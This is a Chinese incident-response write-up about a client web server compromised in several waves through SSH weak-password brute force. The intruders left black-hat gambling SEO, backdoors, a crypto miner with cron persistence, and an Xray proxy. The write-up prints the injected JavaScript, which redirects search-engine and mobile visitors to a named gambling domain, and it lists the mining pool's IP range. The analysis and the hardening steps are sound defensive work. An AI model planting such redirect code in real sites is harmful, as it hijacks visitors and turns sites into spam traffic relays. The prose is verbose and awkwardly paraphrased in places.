客户官网被黑应急处理:排查攻击入口,推测入侵手段找脆弱点
服务器惨遭一次网站侵入,黑客分三波依次进行轮番攻击,服务器当中被植入黑帽SEO程序、挖矿程序以及代理工具,此事件发生于8月某一位客户的服务器之上。那位客户的官网遭受黑客攻击而被黑,首页在表面上看似正常实则暗中藏匿着菠菜代码,其后台密码被篡改,系统日志被清空,我们务必得要在特定规定时间完成整改,以此来避免业务受到影响。
攻击入口推测
有三个服务即SSH、宝塔、DedeCMS对外向客户服务器做了开放。对于可以进入宝塔这款产品基于后台的操作,我们首先彻底消去了这种存在的可能性,有关的原因在于宝塔面板登录的具体途径是未知的,并且客户所设置的用户名是比较复杂的,如此便导致攻击者难以经由宝塔这个物件自身来成功实现GetShell这一行为。后续到后来这种情况被检查验证了,原因便是宝塔的密码确实是被更改了,然而那是在已经发生入侵之后才出现成为事实的事。

DedeCMS 的版本是 v5.7 sp2,我们针对所有公开漏洞做了测试,然而均没办法进行复现,后台密码并无规律可循,依靠强行破解的难度极大,在排除这两个入口之后,也就是之后我们把目光向着 SSH 投去,客户所提供的服务器密码恰好就在我们的爆破字典当中,虽说不能够仅仅凭借这一点就去下结论,但是结合后续所发现的情况来看,高度怀疑是 SSH 弱口令爆破达成了成功。
黑帽SEO的隐秘操作

访客进入客户官网,页面呈现情形正常,未出现跳转至菠菜网站的状况。然而,当查看网页源码时却发现,Meta信息遭际篡改,增添了两个经解码后为菠菜关键词的meta元素。与此同时,该页面还异步发起了对BC网站以及百度统计接口的请求,如此这般的手法旨在为菠菜网站开展SEO优化,以提升在搜索引擎中的排名。

DedeCMS源码所处位置被成功定位,文件于7月17日出现被修改的情况。攻击者在这当中进行了JavaScript代码的插入操作,还引用了存在恶意的外部js文件。该恶意文件具备判断访问来源的功能,一旦访问来源属于搜索引擎爬虫或者是从搜索引擎跳转过来的用户,便会出现跳转到菠菜页面的状况;而若是通过直接输入网址来进行访问,那么就并不会察觉到任何异常。正是这样一种极为隐蔽的挂马方式,使得客户官网沦为黑产组织的流量跳板。


日志清理与后门上传
攻击者把系统日志清理得一干二净,然而网站访问日志却仍旧在。查看日志之时发现,在7月16日攻击者登录了宝塔后台,上传了一个名为zxc.php的木马文件。在第二天,便是7月17日,借着这个木马进行了批量大量后门文件的上传。日志当中密密麻麻全都是后门文件的访问记录。

处在这个阶段时,前面所提及的宝塔密码被更改了。攻击者借助bt命令,在进入服务器之后,将面板密码予以修改,进而完全掌控了宝塔后台。他们持续上传崭新木马,凭借代理机器,以此确保在某个文件被发觉的情况下,依旧存在别的后门能够使用。这表明存在一伙专业黑产组织,其目的是长期操控服务器来开展黑帽SEO。

挖矿程序的潜伏
//这里省略一大段代码,因为代码内容与ly.js内容一致都是对恶意SEO的优化
//上面的代码与之前一样作用就是推送自动收录。
//JS正则表达式判断来路,如果是下列搜索引擎则指定跳转网址。
var regexp=/\.(sogou|soso|baidu|bsb|youdao|lanjie|bing|118114|biso|sm|qq|so|safe|toutiao|biso|360)(\.[a-z0-9\-]+){1,2}\//ig;
var where =document.referrer;
if(regexp.test(where))
{
window.location.href="https://tb04.cc/" rel="external nofollow" ;//满足就跳转至菠菜页面。
}
//更详细的检测,判断是否包含搜索引擎字段,是则跳转至菠菜页面。
var sp_regexps =
/\.(yahoo|google|baidu|soso|sogou|bing|sou|so|360|haosou|youdao|sooule|easou|aliyun|sina|jike|Yisou|uc|sm)\./gi;
var sp_whereis = window.location.referrer;
try {
sp_whereis = top.document.referrer;
} catch (e) {}
try {
sp_whereis = window.parent.document.referrer;
} catch (e) {}
var sp_domains = window.location.host;
try {
sp_domains = top.document.domain;
} catch (e) {}
try {
sp_domains = window.parent.document.domain;
} catch (e) {}
if (sp_regexps.test(sp_whereis)) {
window.location.href = 'https://tb04.cc';
parent.window.opener.location = 'https://tb04.cc';
}
//判断是否是移动端,满足也跳转至菠菜页面。
function browserRedirect() {
var sUserAgent = navigator.userAgent.toLowerCase();
var bIsIpad = sUserAgent.match(/ipad/i) == 'ipad';
var bIsIphoneOs = sUserAgent.match(/iphone os/i) == 'iphone os';
var bIsMidp = sUserAgent.match(/midp/i) == 'midp';
var bIsUc7 = sUserAgent.match(/rv:1.2.3.4/i) == 'rv:1.2.3.4';
var bIsAndroid = sUserAgent.match(/android/i) == 'android';
var bIsCE = sUserAgent.match(/windows ce/i) == 'windows ce';
var bIsWM = sUserAgent.match(/windows mobile/i) == 'windows mobile';
if (!(bIsIphoneOs || bIsMidp || bIsAndroid || bIsCE || bIsWM)) {
} else {
window.location.href = 'https://tb04.cc';
}
}
browserRedirect();
网络服务装置遇有症结可不是仅关乎隐蔽性搜索引擎优化手段,于开展进程逐一核查探寻之际察觉到中央处理器占用比率超乎寻常地高。经由追踪定位抵达那个位于根目录下的名为.warmup的文件夹内部,其中存在着一份用于虚拟货币挖掘的配置文档config.json,该文档内所标注的矿池网络地址指向了处于5.133.65.53这个数值直至5.133.65.56这个数值所构成的互联网协议地址区段范围。当把正在进行虚拟货币挖掘的电脑程序运行进程予以终止之后,相关的程序会自行重新启动,要是把那个配置文档予以删除,在经过一段时间以后该文档又会再次被下载下来并且运行起来。

进一步剖析察觉到,5月7日时便有人开展了定时任务的创建操作。somescript文件之中清晰写明了触发自启动服务warmup的逻辑架构一起看,以此保障挖矿程序在遭受清除之后能够再次进行加载。这意味着早在5月期间,首批攻击者借助SSH弱口令实施了入侵行径,于服务器内部埋下了挖矿程序,并且构建了极为完备的持久化措施,隐匿潜伏长达两个多月的时间竟未被察觉。

代理程序与多波攻击

进程排查期间,还察觉到了Xray程序,它是依托V2ray的代理工具,其最后一次运行时间为8月17日。攻击者借助这台服务器当作跳板机,用以转发流量从而隐匿自身真实IP。与此同时,在5月9日的记录当中,我们发现SSH公钥被写入,经客户确认并非是他们进行的操作。
将所有线索进行综合考量,我们据此推测,存在至少三波不同的攻击者,对这台服务器发起了入侵行为。其中,第一波攻击者是5月份的挖矿组织一起看博客,他们实施了植入挖矿程序以及定时任务的操作;第二波攻击者是7月份的黑产组织,其进行了黑帽SEO以及上传后门的举动;第三波攻击者是8月份的代理需求方,他们仅仅是意图控制一批跳板机。而这些攻击行为,均是基于同一个漏洞,即 SSH 弱口令。
应急处理与加固措施

有业务数据备份的客户,为我们处理问题给予了便利。我们对服务器开展了全面清理和坚固处理:变动服务器以及所有系统后台的口令,强制性采用繁杂密码,防止连续或常见字符;网站目录设定使得非root以外所有用户失去写入权限;上传目录专门进行权限管制,禁止执行脚本。

有后门文件、挖矿程序、恶意定时任务以及可疑 SSH 公钥这般事物,将其全部删除之后,我们持续进行了几日的监控察看作检查,最终确定并没有出现异常行为这般状况。在此次应急处理过程里可从中发现,一台服务器若遭遇被爆破这种事情之后,有可能会被多波怀有不同目的的黑客进行反复利用这般情况。弱口令这个看起来显得较为简单的此类问题,一旦出现爆发将会引发连锁反应。

于日常运维期间,你可曾查验过自身的服务器有无遭受挖矿行为或者被挂马?所碰到的最为隐蔽的攻击手段是什么?欢迎于评论区分享各自有关的经历呢,点赞并转发以使数量更多的运维同行得以看见!

本文转载自互联网,如有侵权,联系删除

